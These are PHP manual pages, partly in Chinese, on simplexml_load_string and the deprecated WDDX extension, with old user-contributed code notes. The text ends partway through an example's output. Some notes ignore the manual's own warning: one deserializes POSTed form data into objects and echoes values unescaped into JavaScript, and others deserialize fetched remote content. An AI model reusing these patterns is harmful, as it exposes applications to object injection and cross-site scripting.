Please note that not all LIBXML options are supported with the options argument.

For instance LIBXML_XINCLUDE does not work. But there is however a work around:

<?php
$xml = new DOMDocument();
$xml->loadXML ($XMLString);

$xml->xinclude();
$xml = simplexml_import_dom($xml);

?>
Pedro 06-Jul-2007 01:28
Attention:

simplexml_load_string has a problem with entities other than (&lt;, &gt;, &amp;, &quot; and &apos;).

Use numeric character references instead!
youx_free_fr 23-May-2007 09:52
While needing to add an xml subtree to an existing simplexml object, I noticed that simplexml_load_string fails with strings like
<emptynode></emptynode>

I needed to use dom instead of simplexml to bypass this problem and work with any kind of xml strings.
php at teamhirsch dot com 24-Apr-2007 02:46
It's worth noting that in the example above, $xml->body will actually return an object of type SimpleXMLElement, not a string, e.g.

 SimpleXMLElement Object (
       [0] => this is the text in the body tag
  )

If you want to get a string out of it you must explicitly cast it using (string) or double quotes, or pass $xml->body (or whatever attribute you want to access) to any function that returns a string, such as urldecode() or trim().
m dot ament at mailcity dot com 06-Mar-2007 06:51
Warning:

The parsing of XML-data will stop when reaching character 0.
Please avoid this character in your XML-data.
mindpower 30-Jan-2007 03:03
A simple extension that adds a method for retrieving a specific attribute:

<?php
class simple_xml_extended extends SimpleXMLElement
{
    public    function    Attribute($name)
    {
        foreach($this->Attributes() as $key=>$val)
        {
            if($key == $name)
                return (string)$val;
        }
    }

}

$xml = simplexml_load_string('
<xml>
  <dog type="poodle" owner="Mrs Smith">Rover</dog>
</xml>', 'simple_xml_extended');

echo $xml->dog->Attribute('type');

?>

outputs 'poodle'

I prefer to use this technique rather than typecasting attributes.
h 15-Nov-2006 10:44
seems like simplexml has a line-length restriction - fails if a largeish XML doc with no linebreaks is passed as a string or file.

h
roy dot walter at nospam dot brookhouse dot co dot uk 16-Oct-2006 09:15
simplexml provides a neat way to do 'ini' files. Preferences for any number of users can be held in a single XML file having elements for each user name with user specific preferences as attributes of child elements. The separate <pref/>'s could of course be combined as multiple attributes of a single <pref/> element but this could get unwieldy.

In the sample code below the makeXML() function uses the simplexml_load_string function to generate some XML to play with and the readPrefs() function parses the requested users preferences into an array.

<?php
function makeXML() {

$xmlString = <<<XML
<preferences>
    <johndoe>
        <pref color="#FFFFFF"/>
        <pref size="14"/>
        <pref font="Verdana"/>
    </johndoe>
    <janedoe>
        <pref color="#000000"/>
        <pref size="16"/>
        <pref font="Georgia"/>
    </janedoe>
</preferences>
XML;

return simplexml_load_string($xmlString);

}
function readPrefs($user, $xml) {

    foreach($xml->$user as $arr);
        $n = count($arr);

    for($i=0;$i<$n;$i++) {
        foreach($xml->$user->pref[$i]->attributes() as $a=>$b) {
            $prefs[$a] = (string)$b;
        }
    }

    print_r($prefs);
}

readPrefs('johndoe', makeXML());

?>
paul at santasoft dot com 25-Jul-2006 08:22
If you have PHP > 5.1 and LibXML > 2.6, use this function call to have simplexml convert CDATA into plain text.

simplexml_load_string($xmlstring, 'SimpleXMLElement', LIBXML_NOCDATA);

Too bad, so sad with PHP < 5.1.
lists at cyberlot dot net 07-Sep-2005 12:51
While you can't add new elements to a SimpleXML object you can however add new attributes
<?php
$string = '<doc channel="chat"><test1>Hello</test1></doc>';
$xml = simplexml_load_string($string);
$xml->test1['sub'] = 'No';
echo $xml->asXML();
?>

Will return output
<doc channel="chat"><test1 sub="No">Hello</test1></doc>
Maciek Ruckgaber <maciekrb at gmai dot com> 07-Jun-2005 05:07
after wondering around some time, i just realized something (maybe obvious, not very much for me). Hope helps someone to not waste time as i did :-P

when you have something like:

<?php
$xmlstr = <<<XML
<?xml version="1.0" encoding="utf-8"?>
<double xmlns="http://foosite.foo/">2328</double>
XML;
?>

you will have the simpleXML object "transformed" to the text() content:

<?php
$xml = simplexml_load_string($xmlstr);
echo $xml; // this will echo 2328  (string)
?>
igor kraus 07-Jan-2005 10:37
A simple way to merge two SimpleXML objects.

<?php
/**
* Pumps all child elements of second SimpleXML object into first one.
*
* @param    object      $xml1   SimpleXML object
* @param    object      $xml2   SimpleXML object
* @return   void
*/
function simplexml_merge (SimpleXMLElement &$xml1, SimpleXMLElement $xml2)
{
    // convert SimpleXML objects into DOM ones
    $dom1 = new DomDocument();
    $dom2 = new DomDocument();
    $dom1->loadXML($xml1->asXML());
    $dom2->loadXML($xml2->asXML());

    // pull all child elements of second XML
    $xpath = new domXPath($dom2);
    $xpathQuery = $xpath->query('/*/*');
    for ($i = 0; $i < $xpathQuery->length; $i++)
    {
        // and pump them into first one
        $dom1->documentElement->appendChild(
            $dom1->importNode($xpathQuery->item($i), true));
    }
    $xml1 = simplexml_import_dom($dom1);
}

$xml1 = simplexml_load_string('<root><child>child 1</child></root>');
$xml2 = simplexml_load_string('<root><child>child 2</child></root>');
simplexml_merge($xml1, $xml2);
echo($xml1->asXml());
?>

Will output:
<?xml version="1.0"?>
<root>
    <child>child 1</child>
    <child>child 2</child>
</root>
cellog at php dot net 31-Aug-2004 04:11
simplexml does not simply handle CDATA sections in a foreach loop.

<?php
$sx = simplexml_load_string('
<test>
 <one>hi</one>
 <two><![CDATA[stuff]]></two>
 <t>
  <for>two</for>
 </t>
 <multi>one</multi>
 <multi>two</multi>
</test>');
foreach((array) $sx as $tagname => $val) {
    if (is_string($val)) {
       // <one> will go here
    } elseif (is_array($val)) {
       // <multi> will go here because it happens multiple times
    } elseif (is_object($val)) {
      // <t> will go here because it contains tags
      // <two> will go here because it contains CDATA!
    }
}
?>

To test in the loop, do this

<?php
if (count((array) $val) == 0) {
    // this is not a tag that contains other tags
    $val = '' . $val;
    // now the CDATA is revealed magically.
}
?>
greg dot steffensen at spamless dot richmond dot edu 19-Feb-2004 03:04
Simplexml's simplicity can be deceptive.  Simplexml elements behave either as objects or strings, depending on the context in which they're used (through overloading of the __toString() method, I assume).  Statements implying conversion to string treat them as strings, while assignment operations treat them as objects.  This can lead to unexpected behavior if, for example, you are trying to compare the values of two Simplexml elements.  The expected syntax will not work.  To force conversion to strings, just "typecast' whatever Simplexml element you're using.  For example:

<?php
$s = simplexml_load_string('<foo>43</foo> <bar>43</bar>');

// Evaluates to false by comparing object IDs instead of strings
($s->foo == $s->bar);

// Evaluates to true
((string)$s->foo == (string)$s->bar);
?>

[Ed. Note: Changed from quotes to casts because casts provide a quicker and more explicit conversion than do double quotes.]


WDDX

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
    • wddx examples
  • WDDX 函数
    • wddx_add_vars — Add variables to a WDDX packet with the specified ID
    • wddx_deserialize — Unserializes a WDDX packet
    • wddx_packet_end — Ends a WDDX packet with the specified ID
    • wddx_packet_start — Starts a new WDDX packet with structure inside it
    • wddx_serialize_value — Serialize a single value into a WDDX packet
    • wddx_serialize_vars — Serialize variables into a WDDX packet

User Contributed Notes

There are no user contributed notes for this page.


简介

Warning

This extension is DEPRECATED and UNBUNDLED as of PHP 7.4.0.

These functions are intended for work with » WDDX.

Warning

Do not pass untrusted user input to wddx_deserialize(). Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.

User Contributed Notes

alvaro at demogracia dot com 29-Sep-2008 08:49
From OpenWDDX.Org:

"The Web Distributed Data Exchange, or WDDX, is a free, open XML-based technology that allows Web applications created with any platform to easily exchange data with one another over the Web."

"WDDX is an XML-based technology that enables the exchange of complex data between Web programming languages, creating what some refer to as 'Web syndicate networks'. WDDX consists of a language-independent representation of data based on an XML 1.0 DTD, and a set of modules for a wide variety of languages that use WDDX. WDDX can be used with HTTP, SMTP, POP, FTP and other Internet protocols that support transferring textual data."


需求

此扩展需要 libxml PHP 扩展。这表示需要使用 --enable-libxml ，尽管这将隐式完成因为 libxml 是缺省开启的。

In order to use WDDX, you will need to install the expat library (which comes with Apache 1.3.7 or higher).

User Contributed Notes

There are no user contributed notes for this page.


安装

After installing the required expat library, compile PHP with --enable-wddx , and use --with-libexpat-dir for expat.

PHP 的 Windows 版本已内建对此扩展的支持。不需要载入额外的扩展来使用这些函数。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

This extension defines a WDDX packet identifier returned by wddx_packet_start().

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • wddx examples

User Contributed Notes

dormilich at netscape dot net 27-Nov-2008 06:37
If you want to use the WDDX 1.0 DTD for validation (http://www.openwddx.org/downloads/dtd/wddx_dtd_10.txt) check that you define the comment as element, not as attribute.

<?xml version="1.0" encoding="iso-8859-1" ?>
<wddxPacket version='1.0'>
    <header>
        <comment>PHP</comment>
    </header>
    <data><!-- WDDX serialized data --></data>
</wddxPacket>


wddx examples

All the functions that serialize variables use the first element of an array to determine whether the array is to be serialized into an array or structure. If the first element has string key, then it is serialized into a structure, otherwise, into an array.

Example #1 Serializing a single value with WDDX

<?php
echo wddx_serialize_value("PHP to WDDX packet example", "PHP packet");
?>

This example will produce:

<wddxPacket version='1.0'><header comment='PHP packet'/><data>
<string>PHP to WDDX packet example</string></data></wddxPacket>

Example #2 Using incremental packets with WDDX

<?php
$pi = 3.1415926;
$packet_id = wddx_packet_start("PHP");
wddx_add_vars($packet_id, "pi");

/* Suppose $cities came from database */
$cities = array("Austin", "Novato", "Seattle");
wddx_add_vars($packet_id, "cities");

$packet = wddx_packet_end($packet_id);
echo $packet;
?>

This example will produce:

<wddxPacket version='1.0'><header comment='PHP'/><data><struct>
<var name='pi'><number>3.1415926</number></var><var name='cities'>
<array length='3'><string>Austin</string><string>Novato</string>
<string>Seattle</string></array></var></struct></data></wddxPacket>

Note:

If you want to serialize non-ASCII characters you have to convert your data to UTF-8 first (see utf8_encode() and iconv()).

User Contributed Notes

There are no user contributed notes for this page.


WDDX 函数

Table of Contents

  • wddx_add_vars — Add variables to a WDDX packet with the specified ID
  • wddx_deserialize — Unserializes a WDDX packet
  • wddx_packet_end — Ends a WDDX packet with the specified ID
  • wddx_packet_start — Starts a new WDDX packet with structure inside it
  • wddx_serialize_value — Serialize a single value into a WDDX packet
  • wddx_serialize_vars — Serialize variables into a WDDX packet

User Contributed Notes

iGEL 14-Mar-2008 02:03
As of version 5.2.5, this is wrong:

> Note: If you want to serialize non-ASCII characters you
> have to convert your data to UTF-8 first (see utf8_encode()
> and iconv()).

Serializing a string with WDDX will always convert it from ISO-8859-1 to UTF-8, no matter what the original encoding is. So if your data already are UTF-8, you get just gibberish.

You can restore the original encoding by using utf8_decode on the serialized wddx data, even though your original data may use chars not included in ISO-8859-1:

<?php
header("Content-Type: text/xml;encoding=utf-8");
echo utf8_decode(wddx_serialize_value("?? ???"));
?>

(This is why I dislike PHP, sorry)
egbert teeselink 23-Feb-2008 10:49
If your PHP doesn't have wddx support installed, and you need it, and you don't want to install PEAR just for wddx, try this short piece of code, based on SimpleXML:

//can read any wddx file generated from php arrays. assumes var elements are only inside struct elements and that only one packet exists.
function wddx_read_node($node, $type)
{
    switch($type)
    {
    case "boolean":
        return (string)$node;
    case "number":
    case "binary":
    case "string":
        return (string)$node;
    case "null":
        return null;
    case "array":
        $a = array();
        foreach($node as $subtype => $subnode)
        {
            $a[] = wddx_read_node($subnode, $subtype);
        }
        return $a;
    case "struct":
        $a = array();
        foreach($node as $subtype => $subnode)
        {
            list($key, $value) = wddx_read_node($subnode, $subtype); //must be a var element
            $a[$key] = $value;
        }
        return $a;
    case "var":
        list($subnode, $subtype) = getchild($node);
        return array((string)$node["name"], wddx_read_node($subnode, $subtype));
    case "data":
        list($subnode, $subtype) = getchild($node);
        return wddx_read_node($subnode, $subtype);
    }
}

function wddx_read($string)
{
    $xml = simplexml_load_string($string);
    $d = wddx_read_node($xml->data, "data");
    return $d;
}

important notice: this one may not work with all wddx input. multiple packets or variables outside a "struct" are not supported. basically, you always get a PHP (associative) array, never something else. feel free to make additions.
no at spam dot thx 12-Aug-2007 02:09
To bradburn at kiwi dot de:

PHP is only capable of serializing properly variables which match one of its native (scalar) types (See http://php.net/types). Which means that only variables of type booleans, integers, floating point numbers, string and NULL will be serialized properly.

I think there are two exceptions though:
- arrays are serialized by processing them recursively, so if its only composed of the above mentioned types, you should be fine.
- floating point numbers and integers may use the same representation while serialized in WDDX (I don't know much about WDDX, so I'm not 100% sure about this statement).

An interesting case would be whether objects can be serialized or not...
Jimmy Wimenta 15-Jul-2004 05:53
PHP's WDDX is useful only for exchanging data between PHP applications, but definetly not for exchanging data between different languages (which actually defeats the purpose of WDDX).

For example:

$hash1 = array ("2" => "Two", "4" => "Four", "5" => "Five");
$hash2 = array ("0" => "Zero", "1" => "One", "2" => "Two");

$hash1 will be serialized as hash, but
$hash2 will be serialized as array/list, because the key happen to be a sequence starting from 0.

Unless the library provide a way for users to specify the type, it can never be used for cross-platform data exchange.
Q1tum at hotmail dot com 21-Nov-2003 05:08
To insert arrays into a wddx variable here is a fine way to do it:

<?php

$sql = 'SELECT * FROM example';
$query = mysql_query($sql, $db) or die(mysql_error());

while($result = mysql_fetch_array($query)) {
    $id[] = $result[ 'id'];
    $name[] = $result['name'];
    $description[] = $result[$prefix . 'description'];
}

mysql_free_result($query);

wddx_add_vars($packet_id, "id");
wddx_add_vars($packet_id, "name");
wddx_add_vars($packet_id, "description");

$wddxSerializeValue = wddx_packet_end($packet_id);

?>
bradburn at kiwi dot de 30-Jul-2002 07:02
With ref to the above comment about typing, I have found that -- oddly enough -- PHP's WDDX supports the following WDDX types: null, boolean (true/false), number and string, *but* not date-time.

as an example, use the following values in an array that you then serialize:

$number = 5,
$null = NULL,
$bool = true,
$string = 'this is a string'.

they will all serialize correctly, e.g. the third entry comes out as:

<var name='bool'><boolean value='true'/></var>

i have tried with the 'official' format for WDDX 'datetime', e.g. '1998-9-15T09:05:32+4:0' (from the DTD @ http://www.openwddx.org/downloads/dtd/wddx_dtd_10.txt)  but have only succeeded in getting this encoded as a 'string' type.

if anyone else has any more information on this, it would be welcome. i would like to store the variables in 'appropriate' fields in a database, and the fact that only datetime is not supported is slightly irritating -- otherwise it would be a very useful function.
djm at web dot us dot uu dot net 18-Oct-1999 08:45
Since there aren't any examples of reversing the process, here's one. If you had the packet produced by the above example (without the htmlentities() call), you could retrieve the values like this:

<?php
$value = wddx_deserialize($packet);
print "pi is:<br>" . $value["pi"] . "<p>\n";
print "cities is:<br>\n";
while (list($key, $val) = each($value["cities"])) {
    print "$key => $val<br>\n";
}
?>

which outputs:

<pre>
pi is:
3.1415926

cities is:
0 => Austin
1 => Novato
2 => Seattle
</pre>


Add variables to a WDDX packet with the specified ID

  • ? WDDX 函数
  • wddx_deserialize ?
  • PHP Manual
  • WDDX 函数
  • Add variables to a WDDX packet with the specified ID

wddx_add_vars

(PHP 4, PHP 5, PHP 7)

wddx_add_vars — Add variables to a WDDX packet with the specified ID

Warning

This function was REMOVED in PHP 7.4.0.

说明

wddx_add_vars ( resource $packet_id , mixed $var_name [, mixed $... ] ) : bool

Serializes the passed variables and add the result to the given packet.

参数

This function takes a variable number of parameters.

packet_id

A WDDX packet, returned by wddx_packet_start().

var_name

Can be either a string naming a variable or an array containing strings naming the variables or another array, etc.

...

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

maciek at webenlinea dot com 05-Sep-2004 11:20
Here is a simple way of serializing dynamic values from an array:

<?PHP
//a unix timestamp
$date    = "1094095513";

//some data to be included
$books   = array('programming'   => array('php','perl','java'),
                'markup'        => array('UML','XML','HTML')
                );

//stick data to an array to iterate over
$data_to_serialize = array($date,$books);

//create the packet
$packet = wddx_packet_start("SOME DATA ARRAY");

//loop through the data
foreach($data_to_serialize as $key => $data)
{
  //create a var whith the name of the content of $key
  $$key = $data;
  wddx_add_vars($packet,$key);
}

echo wddx_packet_end($packet);

?>

Have fun !


Unserializes a WDDX packet

  • ? wddx_add_vars
  • wddx_packet_end ?
  • PHP Manual
  • WDDX 函数
  • Unserializes a WDDX packet

wddx_deserialize

(PHP 4, PHP 5, PHP 7)

wddx_deserialize — Unserializes a WDDX packet

Warning

This function was REMOVED in PHP 7.4.0.

说明

wddx_deserialize ( string $packet ) : mixed

Unserializes a WDDX packet.

Warning

Do not pass untrusted user input to wddx_deserialize(). Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.

参数

packet

A WDDX packet, as a string or stream.

返回值

Returns the deserialized value which can be a string, a number or an array. Note that structures are deserialized into associative arrays.

User Contributed Notes

valer underscore crisan at yahoo 01-Apr-2009 02:03
In PHP 5.2.9, we noticed that wddx serialize and deserialize seems to use UTF-8 encoding for XML input and the output data. There are some posts below that talk about fixing the input XML data so deserialize would work fine on special chars in ISO-8859-1 encoding, but none of the posts talks about the output encoding.

Consider this test:
$text = "Jür";
$packet = wddx_serialize_value($text);
$header = '<?xml version="1.0" encoding="iso-8859-1"?>';
$newText = wddx_deserialize($header . $packet);
echo "WDDX Packet: $packet\n";
echo "Deserialized Object: $newText\n";

The output is:

WDDX Packet: <wddxPacket version='1.0'><header/><data><string>Jür</string></data></wddxPacket>
Deserialized Object: J??r

The deserialized string is not in ISO-8859-1 encoding. It is in UTF-8 encoding. So we need to run utf8_decode() on the deserialized data to convert it back to ISO-8859-1 encoding which is what our application expects.

Hope this helps.
Magnus Deininger, dma05 at web dot de 12-Feb-2009 05:57
When writing your wddx file manually with an UTF-8 aware editor and saving it in utf-8, if your data gets its special characters mysteriously scrambled, try to add an xml header that marks the output as iso-8859-1, like this one:

<?xml version="1.1" encoding="iso-8859-1" ?>

This makes the wddx decode function treat the input as iso-8859-1, so it will not try to treat it as utf-8 and do an implicit decode to iso-8859-1. You will then have read all string data in the wddx packet in their original utf-8 encoding, so that 'echo' and other output functions will produce the intended result if you have set the output encoding to utf-8.

(Bugs reports on this behaviour seem to be treated as bogus, so it would seem in order to point out this incorrect and highly confusing side-effect.)
dormilich at netscape dot net 28-Nov-2008 05:13
When deserializing objects make sure you have the class definition loaded. wddx_deserialize() doesn't call the class itself, so you will receive a fatal error.
Nevertheless you can look for the class manually and delegate it to __autoload().

<?php
// $wddx_string needs to be valid XML to be loaded by SimpleXML.
// class_exists() will call the __autoload() function. if you don't
// want to use __autoloload(), use require_once()

function loadClassesFromWDDX($wddx_string)
{
    $xml = new SimpleXMLElement($wddx_string);

    foreach ($xml->xpath('//var') as $var)
    {
        if ($var['name'] == 'php_class_name')
        {
            if (!class_exists($var->string))
            {
                throw new Exception('Class '" . $var->string . "'not available.');
                // trigger_error('Class '" . $var->string . "'not available.', E_USER_ERROR);
            }
        }
    }
}
?>
dave at codexweb dot co dot za 21-Jan-2006 04:40
Here's a handy wddx_deserialize clone I wrote a while back. It uses PHP5 SimpleXML and recursion to do pretty much the same task as wddx_deserialize. Hope it comes in handy for someone.

<?php

if (!function_exists('wddx_deserialize'))
{
    /**
     * Clone implementation of wddx_deserialize
     */
    function wddx_deserialize($xmlpacket)
    {
        if ($xmlpacket instanceof SimpleXMLElement)
        {
            if (!empty($xmlpacket->struct))
            {
                $struct = array();
                foreach ($xmlpacket->xpath("struct/var") as $var)
                {
                    if (!empty($var["name"]))
                    {
                        $key = (string) $var["name"];
                        $struct[$key] = wddx_deserialize($var);
                    }
                }
                return $struct;
            }
            else if (!empty($xmlpacket->array))
            {
                $array = array();
                foreach ($xmlpacket->xpath("array/*") as $var)
                {
                    array_push($array, wddx_deserialize($var));
                }
                return $array;
            }
            else if (!empty($xmlpacket->string))
            {
                return (string) $xmlpacket->string;
            }
            else if (!empty($xmlpacket->number))
            {
                return (int) $xmlpacket->number;
            }
            else
            {
                if (is_numeric((string) $xmlpacket))
                {
                    return (int) $xmlpacket;
                }
                else
                {
                    return (string) $xmlpacket;
                }
            }
        }
        else
        {
            $sxe = simplexml_load_string($xmlpacket);
            $datanode = $sxe->xpath("/wddxPacket[@version='1.0']/data");
            return wddx_deserialize($datanode[0]);
        }
    }
}

?>
php dot net at werner-ott dot de 24-Nov-2005 12:20
On migrating wddx_deserialize() from PHP 4.x to PHP 5.1 (5.1.0RC6):

While

  $buffer = wddx_serialize_vars($some_array);
  $some_array = wddx_deserialize($buffer);

worked fine with PHP 4.x, the deserialization failed with PHP 5.1. In the above example $some_array will just be an empty string under 5.1

While wddx_serialize_vars() seems to behave identical in 4.x and 5.1, wddx_deserialize() does NOT.

Prepending XML encoding information to the buffer turned out to be at least a workaround. So, the following works with PHP 5.1:

  $buffer = wddx_serialize_vars($some_array);
  $buffer = '<?xml version="1.0"
          encoding="ISO-8859-1"?>'.
          $buffer;
  $some_array = wddx_deserialize($buffer);

NB: It may well be, that the behavioural difference between 4.x and 5.1 described above can only be observed if the array contains certain characters, i.e. german Umlaute (??????). So this workaround may not be necessary in each and every case.
mail_fidel at yahoo dot com 19-Nov-2004 12:11
To properly deserialize a wddx file it was to be utf8_encoded.

The following code will NOT work (PHP5.0.2 FreeBSD):

<?php
   $data = wddx_serialize_value(array("xyz???","abcd"));
   print $data;
   print_r(wddx_deserialize($data));

?>

Even thought the serialization is done right, the deserialization will not work unless you encode the text using utf8.

This code WILL work:

<?php
   $data = wddx_serialize_value(array(utf8_encode("xyz???"),"abcd"));
   print $data;
   print_r(wddx_deserialize($data));

?>
xavier at c-est-simple dot com 19-May-2004 04:09
JavaScript/PHP interroperability:

If you want to exchange wddx packets between a JavaScript application using the JS wddx library from openwddx (http://www.openwddx.org/downloads/), and a PHP script using wddx functions, be aware that the encoding of the classes of objects serialized in the wddx packet is not made the same way in both implementations.

The JS lib uses a 'type' attribute in the 'struct' tab and gives it the name of the class of the object serialized in the 'struct' element, while PHP uses a 'php_class_name' tag within the 'struct'.
NB : to get the type attribute with JS serialisation, you need to set the 'wddxSerializationType' member in your classes

Example with an object of class 'exemple' containing 2 members _attr1 and _attr2.
(NB : in french, 'example' is spelled 'exemple', okay ? :-)

JS serialization :
<wddxPacket version='1.0'>
 <header/>
 <data>
  <struct type="exemple">
   <var name='_attr1'>
    <string>foo</string>
   </var>
   <var name='_attr2'>
    <string>bar</string>
   </var>
  </struct>
 </data>
</wddxPacket>

php serialization:
<wddxPacket version='1.0'>
 <header/>
 <data>
  <struct>
   <var name='php_class_name'>
    <string>exemple</string>
   </var>
   <var name='_attr1'>
    <string>foo</string>
   </var>
   <var name='_attr2'>
    <string>bar</string>
   </var>
  </struct>
 </data>
</wddxPacket>

I like the JS approach better.
So if you need the compatibility, the workaround is quite simple:
- add a 'php_class_name' member in your JS objects, giving it the name of the class for value, and the JS generated packet will be correctly deserialized with PHP in classed objects.

- use a regexp on a PHP generated packet to add the 'type' attribute so that the JS deserialization instanciates objects of the right class:
      $pat = "/<struct><var name='php_class_name'><string>(\w+)<\/string>/" ;
      $rep = "<struct type='\$1'><var name='php_class_name'><string>\$1</string>" ;
      $serialised = preg_replace($pat, $rep, $serialised );
NB : this only works because the 'php_class_name' tag is just next to the 'struct' tag.
Who knows if this is going to be true in future releases... ?

This way, you can exchange JS and PHP objects (provided you define your JS and PHP classes the same way) smoothly...

It's worth saying that both implementations, as well as my interroperability workaround, handle correctly objects with members that are also objects.

NB : NB means Nota Bene.
xavier at c-est-simple.com 18-May-2004 10:19
Beware, although the deserialized objects are instanciated class objects (if the php_class_name tag is amongst the children of the struct tag and its text content is the name of a loaded class), the constructor of the class has not been called at all.
You can use the members and call the methods of the object all right, but any initialisation action that the constructor might be in charge of is missing.
php at mike2k dot com 10-Sep-2001 06:06
if you have WDDX data coming from a third party source and it isnt being parsed correctly in your php, try translating their WDDX. we have a third party sending us WDDX from cold fusion, and it uses a <recordset> element, which PHP seems to ignore (looking around the web we found some other people having trouble) so the (hopefully temporary) solution we found was to translate the WDDX midstream and then we were able to parse it:

$url = "http://somedomain.com/blah.wddx";
$fp = fopen($url,"r");
$page = fread($fp,10000);
fclose($fp);
$page = str_replace("<recordset","<struct",$page);
$page = str_replace("</recordset","</struct",$page);
$page = str_replace("<field","<var",$page);
$page = str_replace("</field","</var",$page);
$values = wddx_deserialize($page);
while(list($key,$val) = each($values)) {
        print "$key => $val<BR>";
}

this works for us. it's a hack, and hopefully php will support this in the future or something.
medvitz at medvitz dot net 14-Oct-2000 05:29
You can also serialize instantiated class objects with the wddx functions.
ie.

<?php
$packet_id = wddx_packet_start("PHP");
wddx_add_vars($packet_id, "objvar");
$packet = wddx_packet_end($packet_id);

$a =  wddx_deserialize($packet);
$obj = $a[objvar];
?>

now $obj is a useable object, that looks like the original.

Note that with this method, you need to know what the variable name of the original object was.  You can use one of the array functions to get the object in the event that the original object's variable name was unknown.

*** only verified on linux with 4.0.2
djm at web dot us dot uu dot net 18-Oct-1999 09:58
The packet string you pass to this function doesn't have to be sanitized first; it searches for a WDDX packet within the string.  So the string can contain HTML markup and random text outside of the packet, and that is all ignored.
This means you can get a packet from another web page like this:
<?php
$fhandle = fopen("http://myserver.com/packet.php", "r");
if ($fhandle) {
        $page = fread($fhandle,10000);
        fclose($fhandle);
        $value = wddx_deserialize($page);
        print "pi is:<br>" . $value["pi"] . "<p>\n";
} else {
        print "could not get packet.php<p>";
}
?>


Ends a WDDX packet with the specified ID

  • ? wddx_deserialize
  • wddx_packet_start ?
  • PHP Manual
  • WDDX 函数
  • Ends a WDDX packet with the specified ID

wddx_packet_end

(PHP 4, PHP 5, PHP 7)

wddx_packet_end — Ends a WDDX packet with the specified ID

Warning

This function was REMOVED in PHP 7.4.0.

说明

wddx_packet_end ( resource $packet_id ) : string

Ends and returns the given WDDX packet.

参数

packet_id

A WDDX packet, returned by wddx_packet_start().

返回值

Returns the string containing the WDDX packet.

User Contributed Notes

There are no user contributed notes for this page.


Starts a new WDDX packet with structure inside it

  • ? wddx_packet_end
  • wddx_serialize_value ?
  • PHP Manual
  • WDDX 函数
  • Starts a new WDDX packet with structure inside it

wddx_packet_start

(PHP 4, PHP 5, PHP 7)

wddx_packet_start — Starts a new WDDX packet with structure inside it

Warning

This function was REMOVED in PHP 7.4.0.

说明

wddx_packet_start ([ string $comment ] ) : resource

Start a new WDDX packet for incremental addition of variables. It automatically creates a structure definition inside the packet to contain the variables.

参数

comment

An optional comment string.

返回值

Returns a packet ID for use in later functions, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Serialize a single value into a WDDX packet

  • ? wddx_packet_start
  • wddx_serialize_vars ?
  • PHP Manual
  • WDDX 函数
  • Serialize a single value into a WDDX packet

wddx_serialize_value

(PHP 4, PHP 5, PHP 7)

wddx_serialize_value — Serialize a single value into a WDDX packet

Warning

This function was REMOVED in PHP 7.4.0.

说明

wddx_serialize_value ( mixed $var [, string $comment ] ) : string

Creates a WDDX packet from a single given value.

参数

var

The value to be serialized

comment

An optional comment string that appears in the packet header.

返回值

Returns the WDDX packet, or FALSE on error.

User Contributed Notes

chris at digitalbase dot com 04-Jan-2002 04:36
When serializing JavaScript objects to interact with PHP objects, you should make the JavaScript object's first entry a php_class_name.

PHP:
class myclass {
    var $name;
    var $age;
    var $ssn;
    ...

    function myclass() {
        $this->name = "";
        $this->age = "";
        $this->ssn = "";
        ...
    }
}

JavaScript:
// serialization example code is from the
// WDDX SDK http://www.openwddx.org
function SerializeMsg(name, age, ssn, ...) {
    var MyObj = new Object;

    // the following line is necessary in order
    // to deserialize back to a PHP object
    MyObj.php_class_name = "myclass";

    MyObj.name = name;
    MyObj.age = age;
    MyObj.ssn = ssn;
    ...

    // Create a new serializer "object" to do our work for us
    MySer = new WddxSerializer;

    // Serialize the Message variable into a WDDX Packet
    MyWDDXPacket = MySer.serialize(MyObj);

    // Output WDDX Packet so we can see what it looks like
    return MyWDDXPacket;
}

Now you can use this in a page which is its own form action:
<?php
// don't forget to include the class definition from above!
if (!isSet($wddx_packet))
    $MyObj = new myclass();
else
    $MyObj = wddx_deserialize($wddx_packet);
?>

<html>
<head>
<script language="JavaScript">
<!--
function Init() {
    // sets the form's text-elements
    tmp = document.MyForm;

    tmp.name.value = "<? echo $MyObj->name ?>";
    tmp.age.value = "<? echo $MyObj->age ?>";
    tmp.ssn.value = "<? echo $MyObj->ssn ?>";
    ...
}

function SerializeMsg(name, age, ssn, ...) {
// see above!
}

function SubmitForm() {
    // sumbits the form
    tmp = document.MyForm;

    tmp.wddx_packet.value =
    SerializeMsg(tmp.name.value, tmp.age.value, tmp.ssn.value,...);
    document.submit();
}
// -->
</script>
</head>
<body>
...
<form name="MyForm"
action="<? echo $PHP_SELF ?>" method="post">
<input name="wddx_packet" type="hidden">
<input name="name" type="text">
<input name="age" type="text">
<input name="ssn" type="text">
...
<input name="SubmitBtn" type="button" onclick="SumbitForm()">
</form>
</body>
</html>

---------------------------------
If you don't provide that first 'php_class_name' in the JavaScript function, then when PHP deserializes it will deserialize into an associative array and not an object instance.

Note that this provides a way to maintain state without
using sessions or cookies - just good old HTML!

Hope this helps!
--
Chris Hansen


Serialize variables into a WDDX packet

  • ? wddx_serialize_value
  • XMLDiff ?
  • PHP Manual
  • WDDX 函数
  • Serialize variables into a WDDX packet

wddx_serialize_vars

(PHP 4, PHP 5, PHP 7)

wddx_serialize_vars — Serialize variables into a WDDX packet

Warning

This function was REMOVED in PHP 7.4.0.

说明

wddx_serialize_vars ( mixed $var_name [, mixed $... ] ) : string

Creates a WDDX packet with a structure that contains the serialized representation of the passed variables.

参数

This function takes a variable number of parameters.

var_name

Can be either a string naming a variable or an array containing strings naming the variables or another array, etc.

...

返回值

Returns the WDDX packet, or FALSE on error.

范例

Example #1 wddx_serialize_vars() example

<?php
$a = 1;
$b = 5.5;
$c = array("blue", "orange", "violet");
$d = "colors";

$clvars = array("c", "d");
echo wddx_serialize_vars("a", "b", $clvars);
?>

以上例程会输出：

<wddxPacket version='1.0'><header/><data><struct><var name='a'><number>1</number></var>
<var name='b'><number>5.5</number></var><var name='c'><array length='3'>
